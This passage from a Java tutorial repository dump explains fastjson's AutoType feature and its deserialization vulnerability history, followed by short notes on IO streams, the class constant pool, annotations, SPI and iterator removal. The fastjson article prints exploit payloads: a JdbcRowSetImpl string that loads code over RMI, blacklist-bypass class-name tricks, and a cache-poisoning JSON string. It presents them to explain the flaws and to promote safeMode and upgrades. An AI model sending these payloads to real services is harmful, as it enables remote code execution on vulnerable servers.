1\\.2.69发布，修复新发现高危AutoType开关绕过安全漏洞，补充了AutoType黑名单 fastjson\n> \n> 1\\.2.70发布，提升兼容性，补充了AutoType黑名单\n\n甚至在fastjson的开源库中，有一个Issue是建议作者提供不带autoType的版本：\n\n![-w747][1]￼\n\n那么，什么是AutoType？为什么fastjson要引入AutoType？为什么AutoType会导致安全漏洞呢？本文就来深入分析一下。\n\n### AutoType 何方神圣？\n\nfastjson的主要功能就是将Java Bean序列化成JSON字符串，这样得到字符串之后就可以通过数据库等方式进行持久化了。\n\n但是，fastjson在序列化以及反序列化的过程中并没有使用[Java自带的序列化机制][2]，而是自定义了一套机制。\n\n其实，对于JSON框架来说，想要把一个Java对象转换成字符串，可以有两种选择：\n\n*   1、基于属性\n*   2、基于setter/getter\n\n而我们所常用的JSON序列化框架中，FastJson和jackson在把对象序列化成json字符串的时候，是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的，他是通过反射遍历该类中的所有属性，并把其值序列化成json。\n\n假设我们有以下一个Java类：\n\n    class Store {\n        private String name;\n        private Fruit fruit;\n        public String getName() {\n            return name;\n        }\n        public void setName(String name) {\n            this.name = name;\n        }\n        public Fruit getFruit() {\n            return fruit;\n        }\n        public void setFruit(Fruit fruit) {\n            this.fruit = fruit;\n        }\n    }\n    \n    interface Fruit {\n    }\n    \n    class Apple implements Fruit {\n        private BigDecimal price;\n        //省略 setter/getter、toString等\n    }\n    \n\n**当我们要对他进行序列化的时候，fastjson会扫描其中的getter方法，即找到getName和getFruit，这时候就会将name和fruit两个字段的值序列化到JSON字符串中。**\n\n那么问题来了，我们上面的定义的Fruit只是一个接口，序列化的时候fastjson能够把属性值正确序列化出来吗？如果可以的话，那么反序列化的时候，fastjson会把这个fruit反序列化成什么类型呢？\n\n我们尝试着验证一下，基于(fastjson v 1.2.68)：\n\n    Store store = new Store();\n    store.setName(\"Hollis\");\n    Apple apple = new Apple();\n    apple.setPrice(new BigDecimal(0.5));\n    store.setFruit(apple);\n    String jsonString = JSON.toJSONString(store);\n    System.out.println(\"toJSONString : \" + jsonString);\n    \n\n以上代码比较简单，我们创建了一个store，为他指定了名称，并且创建了一个Fruit的子类型Apple，然后将这个store使用`JSON.toJSONString`进行序列化，可以得到以下JSON内容：\n\n    toJSONString : {\"fruit\":{\"price\":0.5},\"name\":\"Hollis\"}\n    \n\n那么，这个fruit的类型到底是什么呢，能否反序列化成Apple呢？我们再来执行以下代码：\n\n    Store newStore = JSON.parseObject(jsonString, Store.class);\n    System.out.println(\"parseObject : \" + newStore);\n    Apple newApple = (Apple)newStore.getFruit();\n    System.out.println(\"getFruit : \" + newApple);\n    \n\n执行结果如下：\n\n    toJSONString : {\"fruit\":{\"price\":0.5},\"name\":\"Hollis\"}\n    parseObject : Store{name='Hollis', fruit={}}\n    Exception in thread \"main\" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple\n    at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)\n    \n\n可以看到，在将store反序列化之后，我们尝试将Fruit转换成Apple，但是抛出了异常，尝试直接转换成Fruit则不会报错，如：\n\n    Fruit newFruit = newStore.getFruit();\n    System.out.println(\"getFruit : \" + newFruit);\n    \n\n以上现象，我们知道，**当一个类中包含了一个接口（或抽象类）的时候，在使用fastjson进行序列化的时候，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时无法拿到原始类型。**\n\n那么有什么办法解决这个问题呢，fastjson引入了AutoType，即在序列化的时候，把原始类型记录下来。\n\n使用方法是通过`SerializerFeature.WriteClassName`进行标记，即将上述代码中的\n\n    String jsonString = JSON.toJSONString(store);\n    \n\n修改成：\n\n    String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);\n    \n\n即可，以上代码，输出结果如下：\n\n    System.out.println(\"toJSONString : \" + jsonString);\n    \n    {\n        \"@type\":\"com.hollis.lab.fastjson.test.Store\",\n        \"fruit\":{\n            \"@type\":\"com.hollis.lab.fastjson.test.Apple\",\n            \"price\":0.5\n        },\n        \"name\":\"Hollis\"\n    }\n    \n\n可以看到，**使用`SerializerFeature.WriteClassName`进行标记后，JSON字符串中多出了一个`@type`字段，标注了类对应的原始类型，方便在反序列化的时候定位到具体类型**\n\n如上，将序列化后的字符串在反序列化，既可以顺利的拿到一个Apple类型，整体输出内容：\n\n    toJSONString : {\"@type\":\"com.hollis.lab.fastjson.test.Store\",\"fruit\":{\"@type\":\"com.hollis.lab.fastjson.test.Apple\",\"price\":0.5},\"name\":\"Hollis\"}\n    parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}\n    getFruit : Apple{price=0.5}\n    \n\n这就是AutoType，以及fastjson中引入AutoType的原因。\n\n但是，也正是这个特性，因为在功能设计之初在安全方面考虑的不够周全，也给后续fastjson使用者带来了无尽的痛苦\n\n### AutoType 何错之有？\n\n因为有了autoType功能，那么fastjson在对JSON字符串进行反序列化的时候，就会读取`@type`到内容，试图把JSON内容反序列化成这个对象，并且会调用这个类的setter方法。\n\n那么就可以利用这个特性，自己构造一个JSON字符串，并且使用`@type`指定一个自己想要使用的攻击类库。\n\n举个例子，黑客比较常用的攻击类库是`com.sun.rowset.JdbcRowSetImpl`，这是sun官方提供的一个类库，这个类的dataSourceName支持传入一个rmi的源，当解析这个uri的时候，就会支持rmi远程调用，去指定的rmi地址中去调用方法。\n\n而fastjson在反序列化时会调用目标类的setter方法，那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令，那么就会导致很严重的后果。\n\n如通过以下方式定一个JSON串，即可实现远程命令执行（在早期版本中，新版本中JdbcRowSetImpl已经被加了黑名单）\n\n    {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}\n    \n\n**这就是所谓的远程命令执行漏洞，即利用漏洞入侵到目标服务器，通过服务器执行命令。**\n\n在早期的fastjson版本中（v1.2.25 之前），因为AutoType是默认开启的，并且也没有什么限制，可以说是裸着的。\n\n从v1.2.25开始，fastjson默认关闭了autotype支持，并且加入了checkAutotype，加入了黑名单+白名单来防御autotype开启的情况。\n\n但是，也是从这个时候开始，黑客和fastjson作者之间的博弈就开始了。\n\n因为fastjson默认关闭了autotype支持，并且做了黑白名单的校验，所以攻击方向就转变成了\"如何绕过checkAutotype\"。\n\n下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理，**由于篇幅限制，这里并不会讲解的特别细节，如果大家感兴趣我后面可以单独写一篇文章讲讲细节**。下面的内容主要是提供一些思路，目的是说明写代码的时候注意安全性的重要性。\n\n#### 绕过checkAutotype，黑客与fastjson的博弈\n\n在fastjson v1.2.41 之前，在checkAutotype的代码中，会先进行黑白名单的过滤，如果要反序列化的类不在黑白名单中，那么才会对目标类进行反序列化。\n\n但是在加载的过程中，fastjson有一段特殊的处理，那就是在具体加载类的时候会去掉className前后的`L`和`;`，形如`Lcom.lang.Thread;`。\n\n![-w853][3]￼\n\n而黑白名单又是通过startWith检测的，那么黑客只要在自己想要使用的攻击类库前后加上`L`和`;`就可以绕过黑白名单的检查了，也不耽误被fastjson正常加载。\n\n如`Lcom.sun.rowset.JdbcRowSetImpl;`，会先通过白名单校验，然后fastjson在加载类的时候会去掉前后的`L`和`;`，变成了`com.sun.rowset.JdbcRowSetImpl`。\n\n为了避免被攻击，在之后的 v1.2.42版本中，在进行黑白名单检测的时候，fastjson先判断目标类的类名的前后是不是`L`和`;`，如果是的话，就截取掉前后的`L`和`;`再进行黑白名单的校验。\n\n看似解决了问题，但是黑客发现了这个规则之后，就在攻击时在目标类前后双写`LL`和`;;`，这样再被截取之后还是可以绕过检测。如`LLcom.sun.rowset.JdbcRowSetImpl;;`\n\n魔高一尺，道高一丈。在 v1.2.43中，fastjson这次在黑白名单判断之前，增加了一个是否以`LL`开头的判断，如果目标类以`LL`开头，那么就直接抛异常，于是就又短暂的修复了这个漏洞。\n\n黑客在`L`和`;`这里走不通了，于是想办法从其他地方下手，因为fastjson在加载类的时候，不只对`L`和`;`这样的类进行特殊处理，还对`[`特殊处理了。\n\n同样的攻击手段，在目标类前面添加`[`，v1.2.43以前的所有版本又沦陷了。\n\n于是，在 v1.2.44版本中，fastjson的作者做了更加严格的要求，只要目标类以`[`开头或者以`;`结尾，都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。\n\n在之后的几个版本中，黑客的主要的攻击方式就是绕过黑名单了，而fastjson也在不断的完善自己的黑名单。\n\n#### autoType不开启也能被攻击？\n\n但是好景不长，在升级到 v1.2.47 版本时，黑客再次找到了办法来攻击。而且这个攻击只有在autoType关闭的时候才生效。\n\n是不是很奇怪，autoType不开启反而会被攻击。\n\n因为**在fastjson中有一个全局缓存，在类加载的时候，如果autotype没开启，会先尝试从缓存中获取类，如果缓存中有，则直接返回。**黑客正是利用这里机制进行了攻击。\n\n黑客先想办法把一个类加到缓存中，然后再次执行的时候就可以绕过黑白名单检测了，多么聪明的手段。\n\n首先想要把一个黑名单中的类加到缓存中，需要使用一个不在黑名单中的类，这个类就是`java.lang.Class`\n\n`java.lang.Class`类对应的deserializer为MiscCodec，反序列化时会取json串中的val值并加载这个val对应的类。\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2020/07/1-300x116.png\" alt=\"\" width=\"300\" height=\"116\" class=\"aligncenter size-medium wp-image-5198\" />\n\n如果fastjson cache为true，就会缓存这个val对应的class到全局缓存中\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2020/07/2-1-300x84.png\" alt=\"\" width=\"300\" height=\"84\" class=\"aligncenter size-medium wp-image-5199\" />\n\n如果再次加载val名称的类，并且autotype没开启，下一步就是会尝试从全局缓存中获取这个class，进而进行攻击。\n\n所以，黑客只需要把攻击类伪装以下就行了，如下格式：\n\n    {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"}\n    \n\n于是在 v1.2.48中，fastjson修复了这个bug，在MiscCodec中，处理Class类的地方，设置了fastjson cache为false，这样攻击类就不会被缓存了，也就不会被获取到了。\n\n在之后的多个版本中，黑客与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。\n\n直到后来，黑客在 v1.2.68之前的版本中又发现了一个新的漏洞利用方式。\n\n#### 利用异常进行攻击\n\n在fastjson中， 如果，@type 指定的类为 Throwable 的子类，那对应的反序列化处理类就会使用到 ThrowableDeserializer\n\n而在ThrowableDeserializer#deserialze的方法中，当有一个字段的key也是 @type时，就会把这个 value 当做类名，然后进行一次 checkAutoType 检测。\n\n并且指定了expectClass为Throwable.class，但是**在checkAutoType中，有这样一约定，那就是如果指定了expectClass ，那么也会通过校验。**\n\n![-w869][4]￼\n\n因为fastjson在反序列化的时候会尝试执行里面的getter方法，而Exception类中都有一个getMessage方法。\n\n黑客只需要自定义一个异常，并且重写其getMessage就达到了攻击的目的。\n\n**这个漏洞就是6月份全网疯传的那个\"严重漏洞\"，使得很多开发者不得不升级到新版本。**\n\n这个漏洞在 v1.2.69中被修复，主要修复方式是对于需要过滤掉的expectClass进行了修改，新增了4个新的类，并且将原来的Class类型的判断修改为hash的判断。\n\n其实，根据fastjson的官方文档介绍，即使不升级到新版，在v1.2.68中也可以规避掉这个问题，那就是使用safeMode\n\n### AutoType 安全模式？\n\n可以看到，这些漏洞的利用几乎都是围绕AutoType来的，于是，在 v1.2.68版本中，引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可一定程度上缓解反序列化Gadgets类变种攻击。\n\n设置了safeMode后，@type 字段不再生效，即当解析形如{\"@type\": \"com.java.class\"}的JSON串时，将不再反序列化出对应的类。\n\n开启safeMode方式如下：\n\n    ParserConfig.getGlobalInstance().setSafeMode(true);\n    \n\n如在本文的最开始的代码示例中，使用以上代码开启safeMode模式，执行代码，会得到以下异常：\n\n    Exception in thread \"main\" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple\n    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)\n    \n\n但是值得注意的是，使用这个功能，fastjson会直接禁用autoType功能，即在checkAutoType方法中，直接抛出一个异常。\n\n![-w821][5]￼\n\n### 后话\n\n目前fastjson已经发布到了 v1.2.72版本，历史版本中存在的已知问题在新版本中均已修复。\n\n开发者可以将自己项目中使用的fastjson升级到最新版，并且如果代码中不需要用到AutoType的话，可以考虑使用safeMode，但是要评估下对历史代码的影响。\n\n因为**fastjson自己定义了序列化工具类，并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式，大大提升了序列化及反序列化的效率。**\n\n之前有网友对比过：\n\n![-w808][6]￼\n\n当然，**快的同时也带来了一些安全性问题，这是不可否认的。**\n\n最后，其实我还想说几句，虽然fastjson是阿里巴巴开源出来的，但是据我所知，这个项目大部分时间都是其作者温少一个人在靠业余时间维护的。\n\n知乎上有网友说：\"**温少几乎凭一己之力撑起了一个被广泛使用JSON库，而其他库几乎都是靠一整个团队，就凭这一点，温少作为“初心不改的阿里初代开源人”，当之无愧。**\"\n\n其实，关于fastjson漏洞的问题，阿里内部也有很多人诟病过，但是诟病之后大家更多的是给予**理解**和**包容**。\n\nfastjson目前是国产类库中比较出名的一个，可以说是倍受关注，所以渐渐成了安全研究的重点，所以会有一些深度的漏洞被发现。就像温少自己说的那样：\n\n\"和发现漏洞相比，更糟糕的是有漏洞不知道被人利用。及时发现漏洞并升级版本修复是安全能力的一个体现。\"\n\n就在我写这篇文章的时候，在钉钉上问了温少一个问题，他竟然秒回，这令我很惊讶。因为那天是周末，周末钉钉可以做到秒回，这说明了什么？\n\n他大概率是在利用自己的业余维护fastjson吧...\n\n最后，知道了fastjson历史上很多漏洞产生的原因之后，其实对我自己来说，我是\"更加敢用\"fastjson了...\n\n致敬fastjson！致敬安全研究者！致敬温少！\n\n参考资料：\n\nhttps://github.com/alibaba/fastjson/releases\n\nhttps://github.com/alibaba/fastjson/wiki/security_update_20200601\n\nhttps://paper.seebug.org/1192/\n\nhttps://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ\n\nhttp://www.lmxspace.com/2019/06/29/FastJson-反序列化学习\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938379635086.jpg\n [2]: https://www.hollischuang.com/archives/1140\n [3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938462506312.jpg\n [4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938495572144.jpg\n [5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938532891003.jpg\n [6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938545656293.jpg\n"
  },
  {
    "path": "docs/basics/java-basic/byte-stream-vs-character-stream.md",
    "content": "### 字节与字符\n\nBit最小的二进制单位 ，是计算机的操作部分。取值0或者1\n\nByte（字节）是计算机操作数据的最小单位由8位bit组成 取值（-128-127）\n\nChar（字符）是用户的可读写的最小单位，在Java里面由16位bit组成 取值（0-65535）\n\n### 字节流\n\n操作byte类型数据，主要操作类是OutputStream、InputStream的子类；不用缓冲区，直接对文件本身操作。\n\n### 字符流\n\n操作字符类型数据，主要操作类是Reader、Writer的子类；使用缓冲区缓冲字符，不关闭流就不会输出任何内容。\n\n### 互相转换\n整个IO包实际上分为字节流和字符流，但是除了这两个流之外，还存在一组字节流-字符流的转换类。\n\nOutputStreamWriter：是Writer的子类，将输出的字符流变为字节流，即将一个字符流的输出对象变为字节流输出对象。\n\nInputStreamReader：是Reader的子类，将输入的字节流变为字符流，即将一个字节流的输入对象变为字符流的输入对象。"
  },
  {
    "path": "docs/basics/java-basic/class-contant-pool.md",
    "content": "在Java中，常量池的概念想必很多人都听说过。这也是面试中比较常考的题目之一。在Java有关的面试题中，一般习惯通过String的有关问题来考察面试者对于常量池的知识的理解，几道简单的String面试题难倒了无数的开发者。所以说，常量池是Java体系中一个非常重要的概念。\n\n谈到常量池，在Java体系中，共用三种常量池。分别是**字符串常量池**、**Class常量池**和**运行时常量池**。\n\n本文先来介绍一下到底什么是Class常量池。\n\n### 什么是Class文件\n\n在[Java代码的编译与反编译那些事儿][1]中我们介绍过Java的编译和反编译的概念。我们知道，计算机只认识0和1，所以程序员写的代码都需要经过编译成0和1构成的二进制格式才能够让计算机运行。\n\n我们在《[深入分析Java的编译原理][2]》中提到过，为了让Java语言具有良好的跨平台能力，Java独具匠心的提供了一种可以在所有平台上都能使用的一种中间代码——字节码（ByteCode）。\n\n有了字节码，无论是哪种平台（如Windows、Linux等），只要安装了虚拟机，都可以直接运行字节码。\n\n同样，有了字节码，也解除了Java虚拟机和Java语言之间的耦合。这话可能很多人不理解，Java虚拟机不就是运行Java语言的么？这种解耦指的是什么？\n\n其实，目前Java虚拟机已经可以支持很多除Java语言以外的语言了，如Groovy、JRuby、Jython、Scala等。之所以可以支持，就是因为这些语言也可以被编译成字节码。而虚拟机并不关心字节码是有哪种语言编译而来的。\n\nJava语言中负责编译出字节码的编译器是一个命令是`javac`。\n\n> javac是收录于JDK中的Java语言编译器。该工具可以将后缀名为.java的源文件编译为后缀名为.class的可以运行于Java虚拟机的字节码。\n\n如，我们有以下简单的`HelloWorld.java`代码：\n\n    public class HelloWorld {\n        public static void main(String[] args) {\n            String s = \"Hollis\";\n        }\n    }\n    \n\n通过javac命令生成class文件：\n\n    javac HelloWorld.java\n    \n\n生成`HelloWorld.class`文件:\n\n![][3]￼\n\n> 如何使用16进制打开class文件：使用 `vim test.class` ，然后在交互模式下，输入`:%!xxd` 即可。\n\n可以看到，上面的文件就是Class文件，Class文件中包含了Java虚拟机指令集和符号表以及若干其他辅助信息。\n\n要想能够读懂上面的字节码，需要了解Class类文件的结构，由于这不是本文的重点，这里就不展开说明了。\n\n> 读者可以看到，`HelloWorld.class`文件中的前八个字母是`cafe babe`，这就是Class文件的魔数（[Java中的”魔数”][4]）\n\n我们需要知道的是，在Class文件的4个字节的魔数后面的分别是4个字节的Class文件的版本号（第5、6个字节是次版本号，第7、8个字节是主版本号，我生成的Class文件的版本号是52，这时Java 8对应的版本。也就是说，这个版本的字节码，在JDK 1.8以下的版本中无法运行）在版本号后面的，就是Class常量池入口了。\n\n### Class常量池\n\nClass常量池可以理解为是Class文件中的资源仓库。 Class文件中除了包含类的版本、字段、方法、接口等描述信息外，还有一项信息就是常量池(constant pool table)，用于存放编译器生成的各种字面量(Literal)和符号引用(Symbolic References)。\n\n由于不同的Class文件中包含的常量的个数是不固定的，所以在Class文件的常量池入口处会设置两个字节的常量池容量计数器，记录了常量池中常量的个数。\n\n![-w697][5]￼\n\n当然，还有一种比较简单的查看Class文件中常量池的方法，那就是通过`javap`命令。对于以上的`HelloWorld.class`，可以通过\n\n    javap -v  HelloWorld.class\n    \n\n查看常量池内容如下:\n\n![][6]￼\n\n> 从上图中可以看到，反编译后的class文件常量池中共有16个常量。而Class文件中常量计数器的数值是0011，将该16进制数字转换成10进制的结果是17。\n> \n> 原因是与Java的语言习惯不同，常量池计数器是从1开始而不是从0开始的，常量池的个数是10进制的17，这就代表了其中有16个常量，索引值范围为1-16。\n\n### 常量池中有什么\n\n介绍完了什么是Class常量池以及如何查看常量池，那么接下来我们就要深入分析一下，Class常量池中都有哪些内容。\n\n常量池中主要存放两大类常量：字面量（literal）和符号引用（symbolic references）。\n\n### 字面量\n\n前面说过，Class常量池中主要保存的是字面量和符号引用，那么到底什么字面量？\n\n> 在计算机科学中，字面量（literal）是用于表达源代码中一个固定值的表示法（notation）。几乎所有计算机编程语言都具有对基本值的字面量表示，诸如：整数、浮点数以及字符串；而有很多也对布尔类型和字符类型的值也支持字面量表示；还有一些甚至对枚举类型的元素以及像数组、记录和对象等复合类型的值也支持字面量表示法。\n\n以上是关于计算机科学中关于字面量的解释，并不是很容易理解。说简单点，字面量就是指由字母、数字等构成的字符串或者数值。\n\n字面量只可以右值出现，所谓右值是指等号右边的值，如：int a=123这里的a为左值，123为右值。在这个例子中123就是字面量。\n\n    int a = 123;\n    String s = \"hollis\";\n    \n\n上面的代码事例中，123和hollis都是字面量。\n\n本文开头的HelloWorld代码中，Hollis就是一个字面量。\n\n### 符号引用\n\n常量池中，除了字面量以外，还有符号引用，那么到底什么是符号引用呢。\n\n符号引用是编译原理中的概念，是相对于直接引用来说的。主要包括了以下三类常量： * 类和接口的全限定名 * 字段的名称和描述符 * 方法的名称和描述符\n\n这也就可以印证前面的常量池中还包含一些`com/hollis/HelloWorld`、`main`、`([Ljava/lang/String;)V`等常量的原因了。\n\n### Class常量池有什么用\n\n前面介绍了这么多，关于Class常量池是什么，怎么查看Class常量池以及Class常量池中保存了哪些东西。有一个关键的问题没有讲，那就是Class常量池到底有什么用。\n\n首先，可以明确的是，Class常量池是Class文件中的资源仓库，其中保存了各种常量。而这些常量都是开发者定义出来，需要在程序的运行期使用的。\n\n在《深入理解Java虚拟》中有这样的表述：\n\nJava代码在进行`Javac`编译的时候，并不像C和C++那样有“连接”这一步骤，而是在虚拟机加载Class文件的时候进行动态连接。也就是说，在Class文件中不会保存各个方法、字段的最终内存布局信息，因此这些字段、方法的符号引用不经过运行期转换的话无法得到真正的内存入口地址，也就无法直接被虚拟机使用。当虚拟机运行时，需要从常量池获得对应的符号引用，再在类创建时或运行时解析、翻译到具体的内存地址之中。关于类的创建和动态连接的内容，在虚拟机类加载过程时再进行详细讲解。\n\n前面这段话，看起来很绕，不是很容易理解。其实他的意思就是： Class是用来保存常量的一个媒介场所，并且是一个中间场所。在JVM真的运行时，需要把常量池中的常量加载到内存中。\n\n至于到底哪个阶段会做这件事情，以及Class常量池中的常量会以何种方式被加载到具体什么地方，会在本系列文章的后续内容中继续阐述。欢迎关注我的博客(http://www.hollischuang.com) 和公众号(Hollis)，即可第一时间获得最新内容。\n\n另外，关于常量池中常量的存储形式，以及数据类型的表示方法本文中并未涉及，并不是说这部分知识点不重要，只是Class字节码的分析本就枯燥，作者不想在一篇文章中给读者灌输太多的理论上的内容。感兴趣的读者可以自行Google学习，如果真的有必要，我也可以单独写一篇文章再深入介绍。\n\n### 参考资料\n\n《深入理解java虚拟机》 [《Java虚拟机原理图解》 1.2.2、Class文件中的常量池详解（上）][7]\n\n [1]: http://www.hollischuang.com/archives/58\n [2]: http://www.hollischuang.com/archives/2322\n [3]: http://www.hollischuang.com/wp-content/uploads/2018/10/15401179593014.jpg\n [4]: http://www.hollischuang.com/archives/491\n [5]: http://www.hollischuang.com/wp-content/uploads/2018/10/15401192359009.jpg\n [6]: http://www.hollischuang.com/wp-content/uploads/2018/10/15401195127619.jpg\n [7]: https://blog.csdn.net/luanlouis/article/details/39960815\n"
  },
  {
    "path": "docs/basics/java-basic/const-in-java.md",
    "content": " const是Java预留关键字，用于后期扩展用，用法跟final相似，不常用"
  },
  {
    "path": "docs/basics/java-basic/convert-bytestream-characterstream.md",
    "content": "\n想要实现字符流和字节流之间的相互转换需要用到两个类：\n\nOutputStreamWriter 是字符流通向字节流的桥梁\n\nInputStreamReader 是字节流通向字符流的桥梁\n\n### 字符流转成字节流\n\n```\n\npublic static void main(String[] args) throws IOException {\n    File f = new File(\"test.txt\");\n    \n    // OutputStreamWriter 是字符流通向字节流的桥梁,创建了一个字符流通向字节流的对象\n    OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(f),\"UTF-8\");\n    \n    osw.write(\"我是字符流转换成字节流输出的\");\n    osw.close();\n\n}\n\n```\n\n### 字节流转成字符流\n\n```\n  public static void main(String[] args) throws IOException {\n        \n        File f = new File(\"test.txt\");\n        \n        InputStreamReader inr = new InputStreamReader(new FileInputStream(f),\"UTF-8\");\n        \n        char[] buf = new char[1024];\n        \n        int len = inr.read(buf);\n        System.out.println(new String(buf,0,len));\n        \n        inr.close();\n\n    }\n\n```"
  },
  {
    "path": "docs/basics/java-basic/create-annotation.md",
    "content": "在Java中，类使用class定义，接口使用interface定义，注解和接口的定义差不多，增加了一个@符号，即@interface，代码如下：\n\n    public @interface EnableAuth {\n    \n    }\n\n注解中可以定义成员变量，用于信息的描述，跟接口中方法的定义类似，代码如下：\n    \n    public @interface EnableAuth {\n        String name();\n    }\n\n还可以添加默认值：\n\n    public @interface EnableAuth {\n        String name() default \"猿天地\";\n    }\n\n上面的介绍只是完成了自定义注解的第一步，开发中日常使用注解大部分是用在类上，方法上，字段上，示列代码如下：\n\n    @Target(ElementType.METHOD)\n    @Retention(RetentionPolicy.RUNTIME)\n    @Documented\n    public @interface EnableAuth {\n    \n    }\n\nTarget \n\n用于指定被修饰的注解修饰哪些程序单元，也就是上面说的类，方法，字段\n\nRetention \n\n用于指定被修饰的注解被保留多长时间，分别SOURCE（注解仅存在于源码中，在class字节码文件中不包含）,CLASS（默认的保留策略，注解会在class字节码文件中存在，但运行时无法获取）,RUNTIME（注解会在class字节码文件中存在，在运行时可以通过反射获取到）三种类型，如果想要在程序运行过程中通过反射来获取注解的信息需要将Retention设置为RUNTIME\n\nDocumented \n\n用于指定被修饰的注解类将被javadoc工具提取成文档\n\nInherited \n\n用于指定被修饰的注解类将具有继承性"
  },
  {
    "path": "docs/basics/java-basic/create-spi.md",
    "content": "步骤1、定义一组接口 (假设是org.foo.demo.IShout)，并写出接口的一个或多个实现，(假设是org.foo.demo.animal.Dog、org.foo.demo.animal.Cat)。\n\n    public interface IShout {\n        void shout();\n    }\n    public class Cat implements IShout {\n        @Override\n        public void shout() {\n            System.out.println(\"miao miao\");\n        }\n    }\n    public class Dog implements IShout {\n        @Override\n        public void shout() {\n            System.out.println(\"wang wang\");\n        }\n    }\n\n步骤2、在 src/main/resources/ 下建立 /META-INF/services 目录， 新增一个以接口命名的文件 (org.foo.demo.IShout文件)，内容是要应用的实现类（这里是org.foo.demo.animal.Dog和org.foo.demo.animal.Cat，每行一个类）。\n\n    org.foo.demo.animal.Dog\n    org.foo.demo.animal.Cat\n\n步骤3、使用 ServiceLoader 来加载配置文件中指定的实现。\n\n    public class SPIMain {\n        public static void main(String[] args) {\n            ServiceLoader<IShout> shouts = ServiceLoader.load(IShout.class);\n            for (IShout s : shouts) {\n                s.shout();\n            }\n        }\n    }\n\n代码输出：\n\n    wang wang\n    miao miao"
  },
  {
    "path": "docs/basics/java-basic/custom-annotation.md",
    "content": "除了元注解，都是自定义注解。通过元注解定义出来的注解。\n如我们常用的Override 、Autowire等。\n日常开发中也可以自定义一个注解，这些都是自定义注解。"
  },
  {
    "path": "docs/basics/java-basic/define-exception.md",
    "content": "⾃定义异常就是开发⼈员⾃⼰定义的异常， ⼀般通过继承`Exception`的⼦类的⽅式实现。\n\n\n编写⾃定义异常类实际上是继承⼀个API标准异常类， ⽤新定义的异常处理信息覆盖原有信息的过程。\n\n这种⽤法在Web开发中也⽐较常见， ⼀般可以⽤来⾃定义业务异常。 如余额不⾜、 重复提交等。 这种⾃定义异常有业务含义， 更容易让上层理解和处理"
  },
  {
    "path": "docs/basics/java-basic/delete-while-iterator.md",
    "content": "**1、直接使用普通for循环进行操作**\n\n我们说不能在foreach中进行，但是使用普通的for循环还是可以的，因为普通for循环并没有用到Iterator的遍历，所以压根就没有进行fail-fast的检验。\n\n        List<String> userNames = new ArrayList<String>() {{\n            add(\"Hollis\");\n            add(\"hollis\");\n            add(\"HollisChuang\");\n            add(\"H\");\n        }};\n    \n        for (int i = 0; i < 1; i++) {\n            if (userNames.get(i).equals(\"Hollis\")) {\n                userNames.remove(i);\n            }\n        }\n        System.out.println(userNames);\n    \n\n这种方案其实存在一个问题，那就是remove操作会改变List中元素的下标，可能存在漏删的情况。 **2、直接使用Iterator进行操作**\n\n除了直接使用普通for循环以外，我们还可以直接使用Iterator提供的remove方法。\n\n        List<String> userNames = new ArrayList<String>() {{\n            add(\"Hollis\");\n            add(\"hollis\");\n            add(\"HollisChuang\");\n            add(\"H\");\n        }};\n    \n        Iterator iterator = userNames.iterator();\n    \n        while (iterator.hasNext()) {\n            if (iterator.next().equals(\"Hollis\")) {\n                iterator.remove();\n            }\n        }\n        System.out.println(userNames);\n    \n\n如果直接使用Iterator提供的remove方法，那么就可以修改到expectedModCount的值。那么就不会再抛出异常了。\n\n\n**3、使用Java 8中提供的filter过滤**\n\nJava 8中可以把集合转换成流，对于流有一种filter操作， 可以对原始 Stream 进行某项测试，通过测试的元素被留下来生成一个新 Stream。\n\n        List<String> userNames = new ArrayList<String>() {{\n            add(\"Hollis\");\n            add(\"hollis\");\n            add(\"HollisChuang\");\n            add(\"H\");\n        }};\n    \n        userNames = userNames.stream().filter(userName -> !userName.equals(\"Hollis\")).collect(Collectors.toList());\n        System.out.println(userNames);\n    \n\n**4、使用增强for循环其实也可以**\n\n如果，我们非常确定在一个集合中，某个即将删除的元素只包含一个的话， 比如对Set进行操作，那么其实也是可以使用增强for循环的，只要在删除之后，立刻结束循环体，不要再继续进行遍历就可以了，也就是说不让代码执行到下一次的next方法。\n\n        List<String> userNames = new ArrayList<String>() {{\n            add(\"Hollis\");\n            add(\"hollis\");\n            add(\"HollisChuang\");\n            add(\"H\");\n        }};\n    \n        for (String userName : userNames) {\n            if (userName.equals(\"Hollis\")) {\n                userNames.remove(userName);\n                break;\n            }\n        }\n        System.out.println(userNames);\n    \n\n**5、直接使用fail-safe的集合类**\n\n在Java中，除了一些普通的集合类以外，还有一些采用了fail-safe机制的集合类。这样的集合容器在遍历时不是直接在集合内容上访问的，而是先复制原有集合内容，在拷贝的集合上进行遍历。\n\n由于迭代时是对原集合的拷贝进行遍历，所以在遍历过程中对原集合所作的修改并不能被迭代器检测到，所以不会触发ConcurrentModificationException。\n\n    ConcurrentLinkedDeque<String> userNames = new ConcurrentLinkedDeque<String>() {{\n        add(\"Hollis\");\n        add(\"hollis\");\n        add(\"HollisChuang\");\n        add(\"H\");\n    }};\n    \n    for (String userName : userNames) {\n        if 